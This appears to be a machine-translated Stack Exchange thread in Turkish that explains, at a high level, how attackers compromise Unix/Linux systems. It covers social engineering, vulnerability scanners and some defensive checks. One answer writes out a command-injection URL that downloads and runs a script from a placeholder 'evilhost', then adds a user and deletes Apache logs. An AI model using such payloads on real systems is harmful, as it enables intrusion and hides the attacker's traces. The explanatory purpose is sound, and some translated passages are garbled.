İnsanlar Unix / Linux Sistemlerini tam olarak nasıl kırıyor?


13

Hayır ben bir kraker ya da bunun gibi bir şey olmak istemiyorum, ama süreci (daha bir programlama bakış açısından) anlamaya çalışıyorum.

Yani bir krakerin ana amacının yazdığı herhangi bir yazılımı (veya betiği) kurmak için root erişimi elde etmek (tahmin) varsayıyorum. ya da belki kendi çekirdek modülünü kurmak (herhangi bir nedenden ötürü bu kadar iğrenç) Bir kişi bunu tam olarak nasıl yapıyor?

İnsanların istismarları kontrol etmek için senaryo kullandıklarını biliyorum ...... ama nasıl olduğunu görmüyorum ve onları bulduklarında onlarla ne yaptıklarını tam olarak göremiyorum. Bilinen istismarlar için sürümleri kontrol ediyorlar mı ...... ve sonra birini bulurlar ......

Bunların kulağa yeni geldiğini biliyorum. ama ben sadece Linux / Unix sistemlerinin çok güvenli olması gerektiğini bildiğimden, nasıl çalıştığına dair bir fikir edinmeye çalışıyorum ama birisinin root erişimi elde etmenin (süreç) nasıl gideceğini anlamaya çalışıyorum.

Yanıtlar:


14

Bir kişinin güvenliğini tehlikeye atmaya çalışmasının sayısız nedeni vardır. Geniş vuruşlarda:

  • Sistem kaynaklarını kullanmak için (örn. Spam gönderme, trafik akışı)
  • Sistem hakkında bilgi edinmek için (örn. Bir e-ticaret sitesinden müşteri verileri alın).
  • Sistemdeki bilgileri değiştirmek için (örneğin, bir web sitesini tahrif etmek, yanlış bilgileri yerleştirmek, bilgileri kaldırmak)

Sadece bazen bu şeyler root erişimi gerektirir. Örneğin, kullanıcı girişini düzgün bir şekilde sterilize etmeyen bir siteye hatalı biçimlendirilmiş bir arama sorgusu girilmesi, sitenin veritabanından kullanıcı adları / şifreler, e-posta adresleri gibi bilgileri ortaya çıkarabilir.

Birçok bilgisayar suçlusu sadece “senaryo kripti”; yani sistem güvenliğini gerçekten anlamayan ve hatta kodlama yapamayan, ancak başkaları tarafından yazılan istismarları çalıştıran kişiler. Bunlar genellikle kolayca karşı savunulur, çünkü uyum sağlama yetenekleri yoktur; bilinen güvenlik açıklarından yararlanmakla sınırlıdırlar. (DDoS saldırıları tehlikesi anlamına gelebilecek botnetlerden (güvenliği aşılan büyük bilgisayar grupları) yararlanabilirler.)

Vasıflı saldırganlar için süreç şu şekildedir:

  1. Hedefin ne olduğunu ve hedefin değerinin ne olduğunu bulun. Güvenlik - onu korumak veya tehlikeye atmak - bir risk / ödül hesaplamasıdır. Daha riskli ve daha maliyetli bir şey olacaksa, bir saldırıyı değerli kılmak için ödül ne kadar ilgi çekici olmalıdır.

  2. Eğer spam göndermek isterseniz, örneğin, sen - amaç ne olursa olsun etkisi olduğunu tüm hareketli parçaları düşünün olabilir posta sunucusu saldırmak, ama sen iyi gibi farklı bir ağ bakan sonrası servis gitmek daha mantıklı gerçekten yapabilir ihtiyaç, hedefin net bağlantısının kullanılmasıdır. Kullanıcı verileri istiyorsanız, veritabanı sunucusuna, ona erişme yeteneğine sahip web uygulamasına ve web sunucusuna, yedekleyen sisteme vb. Bakmaya başlarsınız.

    Asla insan faktörünü azaltmayın. Bir bilgisayar sistemini güvence altına almak insan davranışını güvenceye almaktan çok daha kolaydır. Birinin yapmaması gereken bilgileri açıklamasını veya yapmaması gereken kodu çalıştırmasını sağlamak hem kolay hem de etkilidir. Üniversitede, açık bir kıyafet giyerek ve çapkın bir Başkan Yardımcısı'na katılarak uber-güvenli kurumsal ağına girmeyi içeren bir arkadaşımla bahse girdim - arkadaşımın teknik uzmanlığı benimkinden çok daha ağır bastı , ancak hiçbir şey 17 yaşındaki bir gücün gücünü düşürmez kısa bir etekle co-ed!

    Göğüsleriniz yoksa, anlamsız bir oyun veya salakların gerçekten ne yapabileceğini düşünmeden eğlenmek için indireceği bir şey sunmayı düşünün.

  3. Tanımladığınız her bir bölüme bakın ve ne yapabileceğini ve istediğinizi yapmak için nasıl ayarlanabileceğini düşünün - belki de yardım masası, arayanı düzgün bir şekilde tanımlamadan ve kullanıcıların şaşkın geleceğini söylemeksizin şifreleri sık sık sıfırlar size başkasının şifresini getirin. Belki webapp, çalıştırdığı bir işleve yapıştırmadan önce kod olmadığından emin olmak için arama kutusuna ne koyduğunu kontrol etmez. Güvenlikten tavizler genellikle kasıtlı olarak ortaya çıkması gereken bir şeyle başa çıkabilen bir şeyle başlar.


3
Okuduktan sonra, hala bir ahlaksız başkan yardımcısının size bu bahsi kazanacak rahat bir konuşmada hangi bilgileri sağlayabileceğini merak ediyorum.
justin cress

1
@justin: $ arkadaşımın yeniden bir okul projesi olduğunu görmek için orada olduğumu söyledim, ama ofisten çıkmıştı. VP'nin bilgisayar sistemi hakkında bazı önemsiz şeyleri göstermesine izin verdim ve şifresini girdiğini gözlemlediğimi fark etmek için bana bakarak çok rahatsız oldu. Bahsi kazanmak için erişmem gereken sürücüye meşru erişimi vardı.
HedgeMage

1
Tamamen katılıyorum, sosyal mühendislik yığın taşmalarından çok daha kolay. bu arşivi
Rohan Monga

"Eğer göğüsler eksikliği, anlamsız bir oyun ya da bir şey teklif düşünün" .. ciddi? İkisini de aynı etkinlik kategorisine mi koydunuz ?! :)
Roopesh Shenoy

2
"Anlamsız bir oyun ya da aptalların eğlenmek için indireceği bir şey sunmayı düşünün ..." - Ahh, bu Farmville ve Evony'nin arkasındaki fikir.
Shadur

4

En büyük etken, saldırganın sahip olduğu erişim türüdür. Fiziksel erişimleri varsa, mahvoldunuz. Yalnızca uzaktan erişim ile ilgileniyorsanız, çalıştırdığınız şeye bağlıdır; iyi yapılandırma her şeydir. Standart bir linux sunucusu muhtemelen ftp, ssh, http, https ve mysql kullanıyor olabilir. SSH güvenlidir, ancak kök girişlerine izin vermezdim ve her hesapta iyi bir şifre şarttır. FTP vuruldu ya da özlendi. VSFTP'niz varsa ve kullanıcılarınızı chroot ederseniz, o zaman çok güvenlidir. Diğer bazı sürümlerde bilinen güvenlik açıkları vardır. HTTP muhtemelen en savunmasız alanınız olacak. Buradaki en büyük endişeniz, sistemde dosya yürüten veya sisteme dosya yükleyen her şeydir. SQL enjeksiyon ÇOK zor web sitenizin PHP5 yapılırsa. Bir grup güvenlik öğrencisi ve ben haftalarca onaylanmamış bir PHP5 web sitesinde SQL enjeksiyonlarını denedik ve başarısız olduk. MySQL ile root olmayan bir kullanıcı kullandığınızdan ve yalnızca Apache sunucunuzdan oturum açması için kısıtladığınızdan emin olun.

Web sitesi güvenlik açıklarını test etmek için birkaç Firefox eklentisi var: bana eriş, xss ve sql bana enjekte et

Güvenliği sağlamak için her zaman yarışmalarda yapacağım bazı büyük şeyler:

  • netstat - açık portları ve bağlantıları kontrol edin,
  • w - giriş yapan, ne kadar süre,
  • Günlüklerde giriş olup olmadığını kontrol edin,
  • yürütülen komutlar için bash geçmişi,
  • ps - çalışan komutlar,
  • /etc/passwd ekstra kullanıcılar için
  • /etc/sudoers sudo erişimi için.

Tipik olarak erişim kazandıktan sonra, bir saldırgan kök kazanmak ister. Şu anda, normal bir kullanıcının root almasına izin verecek birkaç ayrıcalık yükseltme güvenlik açığı bulunmaktadır. Bundan sonra, kullanıcı ekleyerek ve arka kapıları açarak daha sonra erişmek için açmak istiyorlar.

İşte okulumun siber savunma sitesi. Etrafınıza bakmaktan ve bazı soru sormaktan çekinmeyin: https://thislink.doesntexist.org/


2

Bir sistemin güvenliği yöneticilerin becerilerine bağlıdır, bu nedenle "Linux / Unix sistemlerinin çok güvenli olması gerekiyor" demek yanlış olur :)

Şimdi hack yapmaya devam etmek ... Nessus gibi " güvenlik açığı tarayıcısı " adı verilen ve sömürülecek şeyleri arayan bir tür araç var . Rastgele dosyaların keyfi yerlere yüklenmesine izin vermek için yanlış yapılandırılmış bir Apache sunucusu gibi karmaşık bir sistemde yanlış gidebilecek binlerce şey vardır. Bunlar, bir veritabanına erişim kazanma veya şifrelerin "şifreyi unutma" özelliği aracılığıyla geri yüklenebileceği bir e-posta hesabı gibi ilerideki istismarlar için bir adım taşı işlevi görebilir.

Bazen bir saldırı erişim kazanmak ve kötü bir şey yapmaktır. Bazen insanlar eğlenmek için yaparlar (bu arada aptalca).

VE, işte son zamanlarda gerçekleşen ünlü bir hack hikayesi . Güvenliğe bakan herkese açıklayıcı olacağını düşünüyorum! Bir istismar özeti alıntılamak için:

SQL enjeksiyon kusurları ve güvensiz şifreleri olan bir Web uygulaması. Kötü seçilmiş şifreler. Yeniden kullanılan şifreler. Parola tabanlı kimlik doğrulamasına izin veren sunucular. Yamalı olmayan sistemler. Ve e-posta üzerinden kimlik bilgilerini dağıtmak için şaşırtıcı bir istek, istendiğinde kişi bir şeylerin olduğunu fark etmiş olsa bile.


1

Sonsuza yakın olacak kadar çok saldırı vektörü var. Kavramsal olarak en basit olanlardan biri, bir programı halka açık hale getirmek ve gerçekte olduğundan başka bir şey yaptığını söylemektir. Kullanıcılara sudobaşlangıçta a ile dostça talimatlar verin ve dünyanın patlamasına dikkat edin. Bu, her gün kapalı kaynak programlarında olur, çünkü tek bir kişinin çalışmalarını önceden incelemesi, örneğin Sony CD'lerinde görülmesi mümkün değildir .

Uzak bir ana bilgisayara özel dizeler göndermeyi de deneyebilirsiniz. Üst düzey bir örnek için, üzerinde bazı yazılımların çalıştığı bir web sunucunuz olduğunu ve yazılımın URL'nin bir kısmını kaçmadan veya başka bir şekilde zarar vermeyeceğinden emin olmadan komut olarak çalıştırdığını varsayalım . Gibi bir şey gönder http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Kod çözüldüğünde, arama dizesi olur . Çalıştırılırsa, script.sh, makinede herhangi bir şey yapmak için web sunucusu kullanıcısıyla aynı erişim haklarıyla çalışır. Bazen insanlar bunları "rahatlık" için kök olarak çalıştırırlar, bu durumda tembellik ve / veya cluelessness ile eşanlamlıdır. Kök olarak çalıştırılmasa bile, bu komut dosyası yüklü yazılımdaki diğer delikler için binlerce test çalıştırabilir ve bulursa başka bir komut çalıştırabilir. Bu son komut örneğinfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, SSH erişimi kazanmak ve alıştırma izlerini kaldırmak için.

[komutlar açıkça sadeleştirilmişti ve muhtemelen yine de işe yaramayacaktı. YMMV]

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.